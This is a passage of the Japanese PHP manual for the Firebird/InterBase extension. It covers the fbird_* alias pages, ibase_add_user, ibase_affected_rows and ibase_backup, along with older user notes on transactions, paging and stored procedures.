 $stmt="Select * from SHOW_LANGS('SRep',4,'Italy')";
 $query = ibase_prepare($stmt);
 $rs=ibase_execute($query);
$row = ibase_fetch_row($rs);

echo $row[0];

/* free result */
ibase_free_query($query);
ibase_free_result($rs);

/* close db */
ibase_close($dbh);
?>
lars at dybdahl dot net 20-Sep-2002 07:32
It is not possible to use interbase/firebird without initiating transactions. It seems that transactions are not automatically committed or rolled back at the end of a script, so remember to end all interbase enabled scripts with ibase_rollback() or ibase_commit().

Worse is, that if you use ibase_pconnect (recommended), transactions survive from one request to the next. So that if you don't rollback your transaction at the end of the script, another user's request might continue the transaction that the first request opened.

This has two implications:
1) Clicking refresh in your browser won't make you see newer data, because you still watch data from the same transaction.
2) Some php scripts might fail occassionally and not fail in other occasions, depending on with apache server thread and thereby which transaction they start using.

Unfortunately, there is no such thing as
if (ibase_intransaction()) ibase_rollback();

so be sure that ALL your scripts end with an ibase_rollback() or ibase_commit();
interbase at almico dot com 05-Sep-2002 02:24
If you are using VirtualHosts with Apache, you might find useful the following directive:

php_flag magic_quotes_sybase on

Use it in any VirtualHost and it will be set locally to that VirtualHost without interfering with any global setting.
This is an example:

<VirtualHost 555.666.777.888>
   ServerName www.samplehost.com
   DirectoryIndex index.php index.htm
   php_flag magic_quotes_sybase on
</VirtualHost>
theynich_s at yahoo dot com 11-May-2002 11:16
Hello PHP Mania,

i have made a paging for PHP with Interbase...... :)

i hope it usefull and work....:)

it`s a litle bit of example :

<?
$connection = ibase_connect($yourdb, $user, $password);

$filename = BASENAME(__FILE__);
$strsql = "Your SQL";
$result = ibase_query($connection, $strsql);

function ibase_num_rows($query) { //I have pick it from bg_idol@hotmail.com
 $i = 0;
 while (ibase_fetch_row($query)) {
    $i++;
  }
return $i;
}
$nrow = ibase_num_rows($result);//sum of row

$strSQL = "your SQL";
$result = ibase_query($connection, $strSQL);

if (!isset($page))
  $page = 1;

$$i = 0;
$recperpage = 4;
$norecord = ($page - 1) * $recperpage;
if ($norecord){
  $j=0;
  while($j < $norecord and list($code, $name)= ibase_fetch_row($result)){

  $j++;
  }
}
echo "<table>";
while (list($code, $name)= ibase_fetch_row($result) and $i < $recperpage){

  ?>
    <tr>
        <td width="5%"><? echo $code; ?></td>
        <td><? echo $name; ?></td>
    </tr>
<?
$i++;
}

$incr = $page + 1;
if ($page > 1) $decr = $page - 1;

$numOfPage = ceil($nrow/$recperpage);
?>
    <tr>
<td colspan="3" align="center"><?if ($page <= 1)
                    echo "<span>Prev</span>";
                  else
                      echo "<a href=".$filename."?page=".$decr.">Prev</a>";
                ?>
                &nbsp;&nbsp;
                <?if ($page == $numOfPage)
                    echo "<span>Next</span>";
                  else
                      echo "<a href=".$filename."?page=".$incr.">Next</a>";?>
</td>
</tr>
</table>
johan at essay dot org 06-Aug-2000 07:24
For those who have problem with returning values from Stored Procedures in PHP-Interbase,  I have found a solution.   Use a select sentence like this:
select * from sp_prodecure(param, ...)
However, it is important that the procedure has a SUSPEND statement or else the procedure won't return any values.

But the "message length" (see above note) bug that you encounter when you try to execute a procedure should be fixed !


のエイリアス ibase_add_user

  • ≪ Firebird/InterBase 関数
  • fbird_affected_rows ≫
  • PHP Manual
  • Firebird/InterBase 関数
  • のエイリアス ibase_add_user

fbird_add_user

(PHP 5, PHP 7 < 7.4.0)

fbird_add_user — のエイリアス ibase_add_user()

説明

この関数は次の関数のエイリアスです。 ibase_add_user().

参考

  • fbird_modify_user() - のエイリアス ibase_modify_user
  • fbird_delete_user() - のエイリアス ibase_delete_user

User Contributed Notes

There are no user contributed notes for this page.


のエイリアス ibase_affected_rows

  • ≪ fbird_add_user
  • fbird_backup ≫
  • PHP Manual
  • Firebird/InterBase 関数
  • のエイリアス ibase_affected_rows

fbird_affected_rows

(PHP 5, PHP 7 < 7.4.0)

fbird_affected_rows — のエイリアス ibase_affected_rows()

説明

この関数は次の関数のエイリアスです。 ibase_affected_rows().

参考

  • fbird_query() - のエイリアス ibase_query
  • fbird_execute() - のエイリアス ibase_execute

User Contributed Notes

There are no user contributed notes for this page.


のエイリアス ibase_backup

  • ≪ fbird_affected_rows
  • fbird_blob_add ≫
  • PHP Manual
  • Firebird/InterBase 関数
  • のエイリアス ibase_backup

fbird_backup

(PHP 5, PHP 7 < 7.4.0)

fbird_backup — のエイリアス ibase_backup()

説明

この関数は次の関数のエイリアスです。 ibase_backup().

User Contributed Notes

There are no user contributed notes for this page.


のエイリアス ibase_blob_add

  • ≪ fbird_backup
  • fbird_blob_cancel ≫
  • PHP Manual
  • Firebird/InterBase 関数
  • のエイリアス ibase_blob_add

fbird_blob_add

(PHP 5, PHP 7 < 7.4.0)

fbird_blob_add — のエイリアス ibase_blob_add()

説明

この関数は次の関数のエイリアスです。 ibase_blob_add().

参考

  • fbird_blob_cancel() - Cancel creating blob
  • fbird_blob_close() - のエイリアス ibase_blob_close
  • fbird_blob_create() - のエイリアス ibase_blob_create
  • fbird_blob_import() - のエイリアス ibase_blob_import

User Contributed Notes

There are no user contributed notes for this page.


Cancel creating blob

  • ≪ fbird_blob_add
  • fbird_blob_close ≫
  • PHP Manual
  • Firebird/InterBase 関数
  • Cancel creating blob

fbird_blob_cancel

(PHP 5, PHP 7 < 7.4.0)

fbird_blob_cancel — Cancel creating blob

説明

fbird_blob_cancel ( resource $blob_handle ) : bool

This function will discard a BLOB if it has not yet been closed by fbird_blob_close().

パラメータ

blob_handle

A BLOB handle opened with fbird_blob_create().

返り値

成功した場合に true を、失敗した場合に false を返します。

参考

  • fbird_blob_close() - のエイリアス ibase_blob_close
  • fbird_blob_create() - のエイリアス ibase_blob_create
  • fbird_blob_import() - のエイリアス ibase_blob_import

User Contributed Notes

There are no user contributed notes for this page.


のエイリアス ibase_blob_close

  • ≪ fbird_blob_cancel
  • fbird_blob_create ≫
  • PHP Manual
  • Firebird/InterBase 関数
  • のエイリアス ibase_blob_close

fbird_blob_close

(PHP 5, PHP 7 < 7.4.0)

fbird_blob_close — のエイリアス ibase_blob_close()

説明

この関数は次の関数のエイリアスです。 ibase_blob_close().

参考

  • fbird_blob_create() - のエイリアス ibase_blob_create
  • fbird_blob_cancel() - Cancel creating blob
  • fbird_blob_open() - のエイリアス ibase_blob_open
  • fbird_blob_import() - のエイリアス ibase_blob_import

User Contributed Notes

There are no user contributed notes for this page.


のエイリアス ibase_blob_create

  • ≪ fbird_blob_close
  • fbird_blob_echo ≫
  • PHP Manual
  • Firebird/InterBase 関数
  • のエイリアス ibase_blob_create

fbird_blob_create

(PHP 5, PHP 7 < 7.4.0)

fbird_blob_create — のエイリアス ibase_blob_create()

説明

この関数は次の関数のエイリアスです。 ibase_blob_create().

参考

  • fbird_blob_add() - のエイリアス ibase_blob_add
  • fbird_blob_cancel() - Cancel creating blob
  • fbird_blob_close() - のエイリアス ibase_blob_close
  • fbird_blob_import() - のエイリアス ibase_blob_import

User Contributed Notes

There are no user contributed notes for this page.


のエイリアス ibase_blob_echo

  • ≪ fbird_blob_create
  • fbird_blob_get ≫
  • PHP Manual
  • Firebird/InterBase 関数
  • のエイリアス ibase_blob_echo

fbird_blob_echo

(PHP 5, PHP 7 < 7.4.0)

fbird_blob_echo — のエイリアス ibase_blob_echo()

説明

この関数は次の関数のエイリアスです。 ibase_blob_echo().

参考

  • fbird_blob_open() - のエイリアス ibase_blob_open
  • fbird_blob_close() - のエイリアス ibase_blob_close
  • fbird_blob_get() - のエイリアス ibase_blob_get

User Contributed Notes

There are no user contributed notes for this page.


のエイリアス ibase_blob_get

  • ≪ fbird_blob_echo
  • fbird_blob_import ≫
  • PHP Manual
  • Firebird/InterBase 関数
  • のエイリアス ibase_blob_get

fbird_blob_get

(PHP 5, PHP 7 < 7.4.0)

fbird_blob_get — のエイリアス ibase_blob_get()

説明

この関数は次の関数のエイリアスです。 ibase_blob_get().

参考

  • fbird_blob_open() - のエイリアス ibase_blob_open
  • fbird_blob_close() - のエイリアス ibase_blob_close
  • fbird_blob_echo() - のエイリアス ibase_blob_echo

User Contributed Notes

There are no user contributed notes for this page.


のエイリアス ibase_blob_import

  • ≪ fbird_blob_get
  • fbird_blob_info ≫
  • PHP Manual
  • Firebird/InterBase 関数
  • のエイリアス ibase_blob_import

fbird_blob_import

(PHP 5, PHP 7 < 7.4.0)

fbird_blob_import — のエイリアス ibase_blob_import()

説明

この関数は次の関数のエイリアスです。 ibase_blob_import().

参考

  • fbird_blob_add() - のエイリアス ibase_blob_add
  • fbird_blob_cancel() - Cancel creating blob
  • fbird_blob_close() - のエイリアス ibase_blob_close
  • fbird_blob_create() - のエイリアス ibase_blob_create

User Contributed Notes

There are no user contributed notes for this page.


のエイリアス ibase_blob_info

  • ≪ fbird_blob_import
  • fbird_blob_open ≫
  • PHP Manual
  • Firebird/InterBase 関数
  • のエイリアス ibase_blob_info

fbird_blob_info

(PHP 5, PHP 7 < 7.4.0)

fbird_blob_info — のエイリアス ibase_blob_info()

説明

この関数は次の関数のエイリアスです。 ibase_blob_info().

User Contributed Notes

There are no user contributed notes for this page.


のエイリアス ibase_blob_open

  • ≪ fbird_blob_info
  • fbird_close ≫
  • PHP Manual
  • Firebird/InterBase 関数
  • のエイリアス ibase_blob_open

fbird_blob_open

(PHP 5, PHP 7 < 7.4.0)

fbird_blob_open — のエイリアス ibase_blob_open()

説明

この関数は次の関数のエイリアスです。 ibase_blob_open().

参考

  • fbird_blob_close() - のエイリアス ibase_blob_close
  • fbird_blob_echo() - のエイリアス ibase_blob_echo
  • fbird_blob_get() - のエイリアス ibase_blob_get

User Contributed Notes

There are no user contributed notes for this page.


のエイリアス ibase_close

  • ≪ fbird_blob_open
  • fbird_commit_ret ≫
  • PHP Manual
  • Firebird/InterBase 関数
  • のエイリアス ibase_close

fbird_close

(PHP 5, PHP 7 < 7.4.0)

fbird_close — のエイリアス ibase_close()

説明

この関数は次の関数のエイリアスです。 ibase_close().

参考

  • fbird_connect() - のエイリアス ibase_connect
  • fbird_pconnect() - のエイリアス ibase_pconnect

User Contributed Notes

There are no user contributed notes for this page.


のエイリアス ibase_commit_ret

  • ≪ fbird_close
  • fbird_commit ≫
  • PHP Manual
  • Firebird/InterBase 関数
  • のエイリアス ibase_commit_ret

fbird_commit_ret

(PHP 5, PHP 7 < 7.4.0)

fbird_commit_ret — のエイリアス ibase_commit_ret()

説明

この関数は次の関数のエイリアスです。 ibase_commit_ret().

User Contributed Notes

There are no user contributed notes for this page.


のエイリアス ibase_commit

  • ≪ fbird_commit_ret
  • fbird_connect ≫
  • PHP Manual
  • Firebird/InterBase 関数
  • のエイリアス ibase_commit

fbird_commit

(PHP 5, PHP 7 < 7.4.0)

fbird_commit — のエイリアス ibase_commit()

説明

この関数は次の関数のエイリアスです。 ibase_commit().

User Contributed Notes

There are no user contributed notes for this page.


のエイリアス ibase_connect

  • ≪ fbird_commit
  • fbird_db_info ≫
  • PHP Manual
  • Firebird/InterBase 関数
  • のエイリアス ibase_connect

fbird_connect

(PHP 5, PHP 7 < 7.4.0)

fbird_connect — のエイリアス ibase_connect()

説明

この関数は次の関数のエイリアスです。 ibase_connect().

参考

  • fbird_pconnect() - のエイリアス ibase_pconnect
  • fbird_close() - のエイリアス ibase_close

User Contributed Notes

There are no user contributed notes for this page.


のエイリアス ibase_db_info

  • ≪ fbird_connect
  • fbird_delete_user ≫
  • PHP Manual
  • Firebird/InterBase 関数
  • のエイリアス ibase_db_info

fbird_db_info

(PHP 5, PHP 7 < 7.4.0)

fbird_db_info — のエイリアス ibase_db_info()

説明

この関数は次の関数のエイリアスです。 ibase_db_info().

User Contributed Notes

There are no user contributed notes for this page.


のエイリアス ibase_delete_user

  • ≪ fbird_db_info
  • fbird_drop_db ≫
  • PHP Manual
  • Firebird/InterBase 関数
  • のエイリアス ibase_delete_user

fbird_delete_user

(PHP 5, PHP 7 < 7.4.0)

fbird_delete_user — のエイリアス ibase_delete_user()

説明

この関数は次の関数のエイリアスです。 ibase_delete_user().

参考

  • fbird_add_user() - のエイリアス ibase_add_user
  • fbird_modify_user() - のエイリアス ibase_modify_user

User Contributed Notes

There are no user contributed notes for this page.


のエイリアス ibase_drop_db

  • ≪ fbird_delete_user
  • fbird_errcode ≫
  • PHP Manual
  • Firebird/InterBase 関数
  • のエイリアス ibase_drop_db

fbird_drop_db

(PHP 5, PHP 7 < 7.4.0)

fbird_drop_db — のエイリアス ibase_drop_db()

説明

この関数は次の関数のエイリアスです。 ibase_drop_db().

参考

  • fbird_connect() - のエイリアス ibase_connect
  • fbird_pconnect() - のエイリアス ibase_pconnect

User Contributed Notes

There are no user contributed notes for this page.


のエイリアス ibase_errcode

  • ≪ fbird_drop_db
  • fbird_errmsg ≫
  • PHP Manual
  • Firebird/InterBase 関数
  • のエイリアス ibase_errcode

fbird_errcode

(PHP 5, PHP 7 < 7.4.0)

fbird_errcode — のエイリアス ibase_errcode()

説明

この関数は次の関数のエイリアスです。 ibase_errcode().

参考

  • fbird_errmsg() - のエイリアス ibase_errmsg

User Contributed Notes

There are no user contributed notes for this page.


のエイリアス ibase_errmsg

  • ≪ fbird_errcode
  • fbird_execute ≫
  • PHP Manual
  • Firebird/InterBase 関数
  • のエイリアス ibase_errmsg

fbird_errmsg

(PHP 5, PHP 7 < 7.4.0)

fbird_errmsg — のエイリアス ibase_errmsg()

説明

この関数は次の関数のエイリアスです。 ibase_errmsg().

参考

  • fbird_errcode() - のエイリアス ibase_errcode

User Contributed Notes

There are no user contributed notes for this page.


のエイリアス ibase_execute

  • ≪ fbird_errmsg
  • fbird_fetch_assoc ≫
  • PHP Manual
  • Firebird/InterBase 関数
  • のエイリアス ibase_execute

fbird_execute

(PHP 5, PHP 7 < 7.4.0)

fbird_execute — のエイリアス ibase_execute()

説明

この関数は次の関数のエイリアスです。 ibase_execute().

参考

  • fbird_query() - のエイリアス ibase_query

User Contributed Notes

There are no user contributed notes for this page.


のエイリアス ibase_fetch_assoc

  • ≪ fbird_execute
  • fbird_fetch_object ≫
  • PHP Manual
  • Firebird/InterBase 関数
  • のエイリアス ibase_fetch_assoc

fbird_fetch_assoc

(PHP 5, PHP 7 < 7.4.0)

fbird_fetch_assoc — のエイリアス ibase_fetch_assoc()

説明

この関数は次の関数のエイリアスです。 ibase_fetch_assoc().

参考

  • fbird_fetch_row() - のエイリアス ibase_fetch_row
  • fbird_fetch_object() - のエイリアス ibase_fetch_object

User Contributed Notes

There are no user contributed notes for this page.


のエイリアス ibase_fetch_object

  • ≪ fbird_fetch_assoc
  • fbird_fetch_row ≫
  • PHP Manual
  • Firebird/InterBase 関数
  • のエイリアス ibase_fetch_object

fbird_fetch_object

(PHP 5, PHP 7 < 7.4.0)

fbird_fetch_object — のエイリアス ibase_fetch_object()

説明

この関数は次の関数のエイリアスです。 ibase_fetch_object().

参考

  • fbird_fetch_row() - のエイリアス ibase_fetch_row
  • fbird_fetch_assoc() - のエイリアス ibase_fetch_assoc

User Contributed Notes

There are no user contributed notes for this page.


のエイリアス ibase_fetch_row

  • ≪ fbird_fetch_object
  • fbird_field_info ≫
  • PHP Manual
  • Firebird/InterBase 関数
  • のエイリアス ibase_fetch_row

fbird_fetch_row

(PHP 5, PHP 7 < 7.4.0)

fbird_fetch_row — のエイリアス ibase_fetch_row()

説明

この関数は次の関数のエイリアスです。 ibase_fetch_row().

参考

  • fbird_fetch_assoc() - のエイリアス ibase_fetch_assoc
  • fbird_fetch_object() - のエイリアス ibase_fetch_object

User Contributed Notes

There are no user contributed notes for this page.


のエイリアス ibase_field_info

  • ≪ fbird_fetch_row
  • fbird_free_event_handler ≫
  • PHP Manual
  • Firebird/InterBase 関数
  • のエイリアス ibase_field_info

fbird_field_info

(PHP 5, PHP 7 < 7.4.0)

fbird_field_info — のエイリアス ibase_field_info()

説明

この関数は次の関数のエイリアスです。 ibase_field_info().

参考

  • fbird_num_fields() - のエイリアス ibase_num_fields

User Contributed Notes

There are no user contributed notes for this page.


のエイリアス ibase_free_event_handler

  • ≪ fbird_field_info
  • fbird_free_query ≫
  • PHP Manual
  • Firebird/InterBase 関数
  • のエイリアス ibase_free_event_handler

fbird_free_event_handler

(PHP 5, PHP 7 < 7.4.0)

fbird_free_event_handler — のエイリアス ibase_free_event_handler()

説明

この関数は次の関数のエイリアスです。 ibase_free_event_handler().

参考

  • fbird_set_event_handler() - のエイリアス ibase_set_event_handler

User Contributed Notes

There are no user contributed notes for this page.


のエイリアス ibase_free_query

  • ≪ fbird_free_event_handler
  • fbird_free_result ≫
  • PHP Manual
  • Firebird/InterBase 関数
  • のエイリアス ibase_free_query

fbird_free_query

(PHP 5, PHP 7 < 7.4.0)

fbird_free_query — のエイリアス ibase_free_query()

説明

この関数は次の関数のエイリアスです。 ibase_free_query().

User Contributed Notes

There are no user contributed notes for this page.


のエイリアス ibase_free_result

  • ≪ fbird_free_query
  • fbird_gen_id ≫
  • PHP Manual
  • Firebird/InterBase 関数
  • のエイリアス ibase_free_result

fbird_free_result

(PHP 5, PHP 7 < 7.4.0)

fbird_free_result — のエイリアス ibase_free_result()

説明

この関数は次の関数のエイリアスです。 ibase_free_result().

User Contributed Notes

There are no user contributed notes for this page.


のエイリアス ibase_gen_id

  • ≪ fbird_free_result
  • fbird_maintain_db ≫
  • PHP Manual
  • Firebird/InterBase 関数
  • のエイリアス ibase_gen_id

fbird_gen_id

(PHP 5, PHP 7 < 7.4.0)

fbird_gen_id — のエイリアス ibase_gen_id()

説明

この関数は次の関数のエイリアスです。 ibase_gen_id().

User Contributed Notes

There are no user contributed notes for this page.


のエイリアス ibase_maintain_db

  • ≪ fbird_gen_id
  • fbird_modify_user ≫
  • PHP Manual
  • Firebird/InterBase 関数
  • のエイリアス ibase_maintain_db

fbird_maintain_db

(PHP 5, PHP 7 < 7.4.0)

fbird_maintain_db — のエイリアス ibase_maintain_db()

説明

この関数は次の関数のエイリアスです。 ibase_maintain_db().

User Contributed Notes

There are no user contributed notes for this page.


のエイリアス ibase_modify_user

  • ≪ fbird_maintain_db
  • fbird_name_result ≫
  • PHP Manual
  • Firebird/InterBase 関数
  • のエイリアス ibase_modify_user

fbird_modify_user

(PHP 5, PHP 7 < 7.4.0)

fbird_modify_user — のエイリアス ibase_modify_user()

説明

この関数は次の関数のエイリアスです。 ibase_modify_user().

参考

  • fbird_add_user() - のエイリアス ibase_add_user
  • fbird_delete_user() - のエイリアス ibase_delete_user

User Contributed Notes

There are no user contributed notes for this page.


のエイリアス ibase_name_result

  • ≪ fbird_modify_user
  • fbird_num_fields ≫
  • PHP Manual
  • Firebird/InterBase 関数
  • のエイリアス ibase_name_result

fbird_name_result

(PHP 5, PHP 7 < 7.4.0)

fbird_name_result — のエイリアス ibase_name_result()

説明

この関数は次の関数のエイリアスです。 ibase_name_result().

参考

  • fbird_prepare() - のエイリアス ibase_prepare
  • fbird_execute() - のエイリアス ibase_execute

User Contributed Notes

There are no user contributed notes for this page.


のエイリアス ibase_num_fields

  • ≪ fbird_name_result
  • fbird_num_params ≫
  • PHP Manual
  • Firebird/InterBase 関数
  • のエイリアス ibase_num_fields

fbird_num_fields

(PHP 5, PHP 7 < 7.4.0)

fbird_num_fields — のエイリアス ibase_num_fields()

説明

この関数は次の関数のエイリアスです。 ibase_num_fields().

参考

  • fbird_field_info() - のエイリアス ibase_field_info

User Contributed Notes

There are no user contributed notes for this page.


のエイリアス ibase_num_params

  • ≪ fbird_num_fields
  • fbird_param_info ≫
  • PHP Manual
  • Firebird/InterBase 関数
  • のエイリアス ibase_num_params

fbird_num_params

(PHP 5, PHP 7 < 7.4.0)

fbird_num_params — のエイリアス ibase_num_params()

説明

この関数は次の関数のエイリアスです。 ibase_num_params().

参考

  • fbird_prepare() - のエイリアス ibase_prepare
  • fbird_param_info() - のエイリアス ibase_param_info

User Contributed Notes

There are no user contributed notes for this page.


のエイリアス ibase_param_info

  • ≪ fbird_num_params
  • fbird_pconnect ≫
  • PHP Manual
  • Firebird/InterBase 関数
  • のエイリアス ibase_param_info

fbird_param_info

(PHP 5, PHP 7 < 7.4.0)

fbird_param_info — のエイリアス ibase_param_info()

説明

この関数は次の関数のエイリアスです。 ibase_param_info().

参考

  • fbird_field_info() - のエイリアス ibase_field_info
  • fbird_num_params() - のエイリアス ibase_num_params

User Contributed Notes

There are no user contributed notes for this page.


のエイリアス ibase_pconnect

  • ≪ fbird_param_info
  • fbird_prepare ≫
  • PHP Manual
  • Firebird/InterBase 関数
  • のエイリアス ibase_pconnect

fbird_pconnect

(PHP 5, PHP 7 < 7.4.0)

fbird_pconnect — のエイリアス ibase_pconnect()

説明

この関数は次の関数のエイリアスです。 ibase_pconnect().

参考

  • fbird_close() - のエイリアス ibase_close
  • fbird_connect() - のエイリアス ibase_connect

User Contributed Notes

There are no user contributed notes for this page.


のエイリアス ibase_prepare

  • ≪ fbird_pconnect
  • fbird_query ≫
  • PHP Manual
  • Firebird/InterBase 関数
  • のエイリアス ibase_prepare

fbird_prepare

(PHP 5, PHP 7 < 7.4.0)

fbird_prepare — のエイリアス ibase_prepare()

説明

この関数は次の関数のエイリアスです。 ibase_prepare().

User Contributed Notes

There are no user contributed notes for this page.


のエイリアス ibase_query

  • ≪ fbird_prepare
  • fbird_restore ≫
  • PHP Manual
  • Firebird/InterBase 関数
  • のエイリアス ibase_query

fbird_query

(PHP 5, PHP 7 < 7.4.0)

fbird_query — のエイリアス ibase_query()

説明

この関数は次の関数のエイリアスです。 ibase_query().

参考

  • fbird_errmsg() - のエイリアス ibase_errmsg
  • fbird_fetch_row() - のエイリアス ibase_fetch_row
  • fbird_fetch_object() - のエイリアス ibase_fetch_object
  • fbird_free_result() - のエイリアス ibase_free_result

User Contributed Notes

There are no user contributed notes for this page.


のエイリアス ibase_restore

  • ≪ fbird_query
  • fbird_rollback_ret ≫
  • PHP Manual
  • Firebird/InterBase 関数
  • のエイリアス ibase_restore

fbird_restore

(PHP 5, PHP 7 < 7.4.0)

fbird_restore — のエイリアス ibase_restore()

説明

この関数は次の関数のエイリアスです。 ibase_restore().

User Contributed Notes

There are no user contributed notes for this page.


のエイリアス ibase_rollback_ret

  • ≪ fbird_restore
  • fbird_rollback ≫
  • PHP Manual
  • Firebird/InterBase 関数
  • のエイリアス ibase_rollback_ret

fbird_rollback_ret

(PHP 5, PHP 7 < 7.4.0)

fbird_rollback_ret — のエイリアス ibase_rollback_ret()

説明

この関数は次の関数のエイリアスです。 ibase_rollback_ret().

User Contributed Notes

There are no user contributed notes for this page.


のエイリアス ibase_rollback

  • ≪ fbird_rollback_ret
  • fbird_server_info ≫
  • PHP Manual
  • Firebird/InterBase 関数
  • のエイリアス ibase_rollback

fbird_rollback

(PHP 5, PHP 7 < 7.4.0)

fbird_rollback — のエイリアス ibase_rollback()

説明

この関数は次の関数のエイリアスです。 ibase_rollback().

User Contributed Notes

There are no user contributed notes for this page.


のエイリアス ibase_server_info

  • ≪ fbird_rollback
  • fbird_service_attach ≫
  • PHP Manual
  • Firebird/InterBase 関数
  • のエイリアス ibase_server_info

fbird_server_info

(PHP 5, PHP 7 < 7.4.0)

fbird_server_info — のエイリアス ibase_server_info()

説明

この関数は次の関数のエイリアスです。 ibase_server_info().

User Contributed Notes

There are no user contributed notes for this page.


のエイリアス ibase_service_attach

  • ≪ fbird_server_info
  • fbird_service_detach ≫
  • PHP Manual
  • Firebird/InterBase 関数
  • のエイリアス ibase_service_attach

fbird_service_attach

(PHP 5, PHP 7 < 7.4.0)

fbird_service_attach — のエイリアス ibase_service_attach()

説明

この関数は次の関数のエイリアスです。 ibase_service_attach().

User Contributed Notes

There are no user contributed notes for this page.


のエイリアス ibase_service_detach

  • ≪ fbird_service_attach
  • fbird_set_event_handler ≫
  • PHP Manual
  • Firebird/InterBase 関数
  • のエイリアス ibase_service_detach

fbird_service_detach

(PHP 5, PHP 7 < 7.4.0)

fbird_service_detach — のエイリアス ibase_service_detach()

説明

この関数は次の関数のエイリアスです。 ibase_service_detach().

User Contributed Notes

There are no user contributed notes for this page.


のエイリアス ibase_set_event_handler

  • ≪ fbird_service_detach
  • fbird_trans ≫
  • PHP Manual
  • Firebird/InterBase 関数
  • のエイリアス ibase_set_event_handler

fbird_set_event_handler

(PHP 5, PHP 7 < 7.4.0)

fbird_set_event_handler — のエイリアス ibase_set_event_handler()

説明

この関数は次の関数のエイリアスです。 ibase_set_event_handler().

参考

  • fbird_free_event_handler() - のエイリアス ibase_free_event_handler
  • fbird_wait_event() - のエイリアス ibase_wait_event

User Contributed Notes

There are no user contributed notes for this page.


のエイリアス ibase_trans

  • ≪ fbird_set_event_handler
  • fbird_wait_event ≫
  • PHP Manual
  • Firebird/InterBase 関数
  • のエイリアス ibase_trans

fbird_trans

(PHP 5, PHP 7 < 7.4.0)

fbird_trans — のエイリアス ibase_trans()

説明

この関数は次の関数のエイリアスです。 ibase_trans().

User Contributed Notes

There are no user contributed notes for this page.


のエイリアス ibase_wait_event

  • ≪ fbird_trans
  • ibase_add_user ≫
  • PHP Manual
  • Firebird/InterBase 関数
  • のエイリアス ibase_wait_event

fbird_wait_event

(PHP 5, PHP 7 < 7.4.0)

fbird_wait_event — のエイリアス ibase_wait_event()

説明

この関数は次の関数のエイリアスです。 ibase_wait_event().

参考

  • fbird_set_event_handler() - のエイリアス ibase_set_event_handler
  • fbird_free_event_handler() - のエイリアス ibase_free_event_handler

User Contributed Notes

There are no user contributed notes for this page.


Add a user to a security database

  • ≪ fbird_wait_event
  • ibase_affected_rows ≫
  • PHP Manual
  • Firebird/InterBase 関数
  • Add a user to a security database

ibase_add_user

(PHP 5, PHP 7 < 7.4.0)

ibase_add_user — Add a user to a security database

説明

ibase_add_user ( resource $service_handle , string $user_name , string $password , string $first_name = ? , string $middle_name = ? , string $last_name = ? ) : bool

パラメータ

service_handle

The handle on the database server service.

user_name

The login name of the new database user.

password

The password of the new user.

first_name

The first name of the new database user.

middle_name

The middle name of the new database user.

last_name

The last name of the new database user.

返り値

成功した場合に true を、失敗した場合に false を返します。

参考

  • ibase_modify_user() - Modify a user to a security database
  • ibase_delete_user() - Delete a user from a security database

User Contributed Notes

pabloj 12-Apr-2006 02:10
You can create users on Firebird/Interbase this way:

<?php
    // attach to the server with proper privileges
    if (($service = ibase_service_attach('localhost', 'sysdba', 'masterkey')) != FALSE) {
        // get server version and implementation strings
        $server_info  = ibase_server_info($service, IBASE_SVC_SERVER_VERSION)
                      . ' / '
                      . ibase_server_info($service, IBASE_SVC_IMPLEMENTATION);
        //ibase_service_detach($service);
    }
    else {
        $ib_error = ibase_errmsg();
    }
echo $server_info;

//add a new user with name 'pippo' and password 'pp'
if (($result = ibase_add_user($service, 'pippo', 'pp')) != FALSE) {
        echo 'User created';
        ibase_service_detach($service);
    }
    else {
        $ib_error = ibase_errmsg();
        //detach from server
        ibase_service_detach($service);
    }
?>


直近のクエリで変更された行の数を返す

  • ≪ ibase_add_user
  • ibase_backup ≫
  • PHP Manual
  • Firebird/InterBase 関数
  • 直近のクエリで変更された行の数を返す

ibase_affected_rows

(PHP 5, PHP 7 < 7.4.0)

ibase_affected_rows — 直近のクエリで変更された行の数を返す

説明

ibase_affected_rows ( resource $link_identifier = ? ) : int

この関数は、link_identifier で指定された トランザクション内で実行された直近のクエリ(INSERT、UPDATE あるいは DELETE)によって変更された行の数を返します。

パラメータ

link_identifier

トランザクションのコンテキスト。 link_identifier が接続リソースの場合、 そのデフォルトのトランザクションが使用されます。

返り値

変更された行数を整数値で返します。

参考

  • ibase_query() - InterBase データベースでクエリを実行する
  • ibase_execute() - 準備されたクエリを実行する

User Contributed Notes

There are no user contributed notes for this page.


Initiates a backup task in the service manager and returns immediately

  • ≪ ibase_affected_rows
  • ibase_blob_add ≫
  • PHP Manual
  • Firebird/InterBase 関数
  • Initiates a backup task in the service manager and returns immediately

ibase_backup

(PHP 5, PHP 7 < 7.4.0)

ibase_backup — Initiates a backup task in the service manager and returns immediately

説明

ibase_backup ( resource $service_handle , string $source_db , string $dest_file , int $options = 0 , bool $verbose = false ) : mixed

This function passes the arguments to the (remote) database server. There it starts a new backup process. Therefore you won't get any responses.

パラメータ

service_handle

A previously opened connection to the database server.

source_db

The absolute file path to the database on the database server. You can also use a database alias.

dest_file

The path to the backup file on the database server.

options

Additional options to pass to the database server for backup. The options parameter can be a combination of the following constants: IBASE_BKP_IGNORE_CHECKSUMS, IBASE_BKP_IGNORE_LIMBO, IBASE_BKP_METADATA_ONLY, IBASE_BKP_NO_GARBAGE_COLLECT, IBASE_BKP_OLD_DESCRIPTIONS, IBASE_BKP_NON_TRANSPORTABLE or IBASE_BKP_CONVERT. Read the section about 定義済み定数 for further information.

verbose

Since the backup process is done on the database server, you don't have any chance to get its output. This argument is useless.

返り値

成功した場合に true を、失敗した場合に false を返します。

Since the backup process is done on the (remote) server, this function just passes the arguments to it. While the arguments are legal, you won't get false.

例

例1 ibase_backup() example

<?php

// Attach to database server by ip address and port
$service = ibase_service_attach ('10.1.11.200/3050', 'sysdba', 'masterkey');

// Start the backup process on database server
// Backup employee database using full path to /srv/backup/employees.fbk
// Don't use any special arguments
ibase_backup($service, '/srv/firebird/employees.fdb', '/srv/backup/employees.fbk');

// Free the attached connection
ibase_service_detach ($service);
?>

例2 ibase_backup() example with arguments

<?php

// Attach to database server by name and default port
$service = ibase_service_attach ('fb-server.contoso.local', 'sysdba', 'masterkey');

// Start the backup process on database server
// Backup employee database using alias to /srv/backup/employees.fbk.
// Backup only the metadata. Don't create a transportable backup.
ibase_backup($service, 'employees.fdb', '/srv/backup/employees.fbk', IBASE_BKP_METADATA_ONLY | IBASE_BKP_NON_TRANSPORTABLE);

// Free the attached connection
ibase_service_detach ($service);
?>

参考

  • ibase_restore() - Initiates a restore task in the service manager and returns immediately

User Contributed Notes

Gara 11-Jan-2006 04:36
